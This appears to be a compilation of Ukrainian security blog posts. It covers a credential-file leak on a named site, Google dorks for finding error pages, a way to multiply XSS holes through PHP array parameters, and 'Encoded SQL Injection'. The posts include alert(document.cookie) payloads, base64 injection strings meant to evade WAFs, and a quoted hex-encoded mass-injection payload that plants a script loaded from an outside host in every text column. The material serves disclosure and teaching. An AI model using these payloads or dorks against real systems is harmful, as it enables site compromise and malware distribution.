Websecurity - Веб безпека

Одним з найбільш критичних витоків інформації є витоки паролів. Коли на сайті розміщується в тестовому вигляді інформація про логіни і паролі - до адмінки сайта чи хостінга, до FTP чи до MySQL або іншої СУБД. За звичай подібна інформація розміщується у txt-файлі. І при цьому власник сайта думає, що ніхто цього файла не знайде .

З подібніми витоками інформації мені доводилося стикатися неодноразово. І про один такий випадок, що я виявив нещодавно, я зараз розповім.

Як можна побачити на сайті airbrush.atmosphereart.com.ua - на сайті в “непримітному” файлі p.txt розміщені логіни та паролі доступу до адмінки хостінга, FTP та MySQL. І доступ до файлу не захищений паролем, як це варто було зробити, якщо вже адмін вирішив розмістити таку важливу інформацію в Інтернеті.

Таких витоків інформації (Information Leakage) не варто допускати. Зазначу, що наведена в файлі інформація є застарілою і жоден з цих паролей не працює. Але тим не менше, логіни цілком могли залишитися тими самими. І тому нападники можуть скористатися цими логінами, щоб підібрати до них паролі. Тому не варто робити витоків навіть застарілої інформації (зокрема про логіни і паролі), бо деяка частина інформації може бути все ще актуальною.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Shoulder surfing (computer security)
• SMS spoofing
• Stack buffer overflow
• Symlink race
• Threat (computer)

Продовжуючи розпочату традицію, після попереднього відео про захмарну веб безпеку, пропоную нове відео на веб секюріті тематику. Цього разу відео про DoS атаки на сервер. Рекомендую подивитися всім хто цікавиться цією темою.

Server Attack programs

В відео розповідається про різні програми для проведення DoS та DDoS атак на сервери (в тому числі веб сервери в Інтернеті). Серед різних додатків, зокрема розповідається про такий потужний інструмент як ping . Рекомендую подивитися дане відео для розуміння векторів DoS атак на сервери.

Окрім “Warning” Google хакінга існують інші види запитів, по яким можна шукати дірки на веб сайтах. Зокрема “Error” Google хакінг, про який я вже давно запланував написати. Це ще один різновид Гугл хакінга - використання пошукових систем (зокрема Гугла) для пошуку уразливостей на сайтах.

Дана методика передбачає використання Гугла (чи інших пошукових систем) з метою пошуку повідомлень на сайтах про помилки, і дозволяє знайти важливу інформацію стосовно даних сайтів. За допомогою спеціальних пошукових запитів (дорків) можна знайти Full path disclosure та Information leakage уразливості на різноманітних сайтах в Інтернеті.

Зокрема можна використовувати наступні “еррор” пошукові запити:

“Software error” “htdocs”

“Software error” “home”

“Software error” “www”

“Software error” “program files”

“Software error” “apache”

“MySQL Fatal Error”

“MySQL Error”

“You have an error in your SQL syntax”

“Application error” “SQL syntax”

“Application error” “htdocs”

Продовжуючи розпочату традицію, після попереднього відео про захист електронної пошти, пропоную нове відео на веб секюріті тематику. Цього разу відео про захмарну веб безпеку (тобто про “хмарний” веб секюріті сервіс). Рекомендую подивитися всім хто цікавиться цією темою.

Web security in the Cloud

В відео розповідається про надання послуги веб безпеки з використанням хмарних технологій, зокрема на прикладі хмарного (cloud) секюріті продукту від Zscaler. Та про його переваги над традиційними рішеннями. Про подібний хмарний секюріті продукт від Google я вже писав раніше.

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою в Інтернет.

В 2007 році в записі Як знайти 1000000 XSS уразливостей, я розповів про методи знаходження мільйона (і більше) XSS уразливостей (з використанням пошукових систем). А наприкінці минулого року і початку цього року в статтях XSS уразливості в 8 мільйонах флеш файлах та XSS уразливості в 34 мільйонах флеш файлах я розповів про те, що можна знайти мільйони XSS дірок у флешках по всьому Інтернету.

А зараз я розповім, як знайти мільярд уразливостей, зокрема мільярд XSS уразливостей. З використанням “Warning” Google хакінга, як я вже неодноразово писав, можна знаходити мільйони Full path disclosure, але Cross-Site Scripting уразливості та ще й у великих масштабах - це більш цікаво . Зазначу, що для пошуку великої кількості дірок з використанням мого нового методу навіть не потрібно буде використовувати пошукові системи.

За допомогою даного методу можна знайти хоч мільйон, хоч мільярд, хоч трильйон дірок - взагалі нескінченне число дірок. І при цьому для пошуку не потрібні пошуковці, лише потрібно знайти одну спеціальну XSS дірку. З якої потім можна буде зробити будь-яке (навіть нескінченне) число XSS уразливостей.

Суть метода зводиться до пошуку XSS дірки (на будь-якому веб сайті чи веб додатку) в параметрі, що являє собою масив. Подібні параметри зокрема можливі в PHP. І у випадку, якщо веб додаток оброблює всі параметри-у-вигляді-масива відповідним чином (як масив чи хеш), то існує можливість reflected XSS уразливості. Причому не в одному параметрі елементі масива, а в будь-яких - тобто в довільних елементах даного масива (з довільними іменами). Що дозволяє з однієї дірки створити нескінченне число дірок . Тому що різні імена параметрів - це різні дірки.

Наприклад, є веб додаток уразливий до XSS:

http://site/script?p[0]=<script>alert(document.cookie)</script>

При відповідному алгоритмі обробки масиву параметрів p[], можливі й XSS в інших елементах (в тому числі й в пустому - []). Таких елементах як 1, 2, a і т.д.:

http://site/script?p[1]=<script>alert(document.cookie)</script>

Для імені уразливого параметра використовується наступний шаблон: “p” + “[]” або будь-яке слово у “[]”. Можливі також багатовимірні масиви, де будуть відповідні шаблони.

Подібну уразливість я вперше виявив в WordPress цього року (уразливі WordPress 2.7 - 3.0.1). А потім виявив подібні уразливості на одному сайті, під час комерційного секюріті аудиту. Тому в будь-яких PHP додатках, де використовуються параметри-масиви і має місце XSS дірка, можна створити мільйони, мільярди і будь-яке число XSS уразливостей.

В своїй презентації Client-Side Penetration Testing, Chris Gates і Vince Marvelli розповідають про клієнтський penetration testing. Про уразливості на стороні клієнта та атаки з використання client-side уразливостей на користувачів та відвідувачів веб сайтів.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Return-to-libc attack
• SMBRelay
• Shatter attack
• Shellcode
• String exploits

В статті Просунуті методи SQL Smuggling, я згадав про Encoded SQL Injection - новий клас SQL Injection, що я виявив в 2009 році. Тобто це підклас SQL Injection уразливостей. І зараз я детально розповім про нього.

Торік, 17.05.2009, я знайшов SQLi уразливість, яку я відніс до нового типу SQL Injection - Encoded SQL Injection. Про Encrypted XSS (Encoded XSS) я вже згадував неодноразово, а в цій статті розповім про Encoded SQLi. В класифікації SQL Injection уразливостей (в 2008 році) я навів два типи SQLi - Reflected SQL Injection та Persistent SQL Injection. Так що Encoded SQL Injection буде третім типом.

Дані уразливості дозволяють обходити захисні системи - як вбудовані у веб додаток захистні фільтри, так і встановлені на сервері IDS, IPS та WAF системи. Тому я відніс даний тип SQL Injection уразливостей до просунутих методів SQL Smuggling.

Різновиди Encoded SQL Injection.

Існують наступні різновиди Encoded SQL Injection:

• Частково закодовані SQLi.
• Повністю закодовані SQLi.

Якщо перший різновид ще може бути виявлений деякими захисними системами (якщо вони налаштовані на відповідні оператори мови SQL), то другий різновид зовсім не буде виявленим сучасними захисними системами. Окрім тих систем, що підтримують декодування даного методу кодування.

Частково закодовані SQLi.

У випадку частково закодованих SQL Injection, дані, які передаються СУБД, кодуються лише частково. Це коли закодована лише деяка частина SQL коду (наприклад, через CAST). Кодування рядків для обходу фільтрації лапок сюди не відноситься.

Як у випадку наведеному в записі Encoded SQL Injection, де даний тип SQLi використовувався для атаки на один сайт (причому на звичайну SQLi уразливість):

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC(@S);--

Повністю закодовані SQLi.

У випадку повністю закодованих SQL Injection, дані, які передаються СУБД, кодуються повністю. Тому весь SQL запит є закодованим (на рівні інтерфейсу) і лише на рівні веб додатку від декодується для передачі СУБД. Зокрема у варіанті закодованого SQL Injection, що я знайшов торік, використовується base64 кодування.

Коли веб додаток використовує base64-рядки для передачі значень веб додатку, це може бути використаним для проведення Encoded SQLi атак.

Наприклад, рядок ‘ or 1=1# стане JyBvciAxPTEj. А рядок ‘ and 1=’1 стане JyBhbmQgMT0nMQ==.

І на рівні зовнішніх захисних систем, що не підтримують декодування даних, які передаються веб додатку, ці та інші закодовані рядки не викличуть жодних підозр. Тому встановлені на сервері IDS, IPS та WAF системи не зможуть виявити дані атаки (та й в логах їх просто так не виявиш). І дані атаки успішно пройдуть, обійшовши захисні системи.

Продовжуючи розпочату традицію, після попереднього відео про безпеку від Гугла - Google Web Security, пропоную нове відео на веб секюріті тематику. Цього разу відео про захист електронної пошти. Рекомендую подивитися всім хто цікавиться цією темою.

Global Web Security - Protecting your Webmail

В відео розповідається про небезпеку відправки емайлів, тому що чимало різних осіб потенційно можуть переглянути вашу кореспонденцію. І одна справа коли відправляти звичайні листи, і зовсім інша справа коли відправляти конфеденційну інформацію. Про методику вирішення цієї проблеми йдеться в цьому відео. Хоча відео має рекламне спрямування, але воно зроблено цікаво .

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою електронної пошти.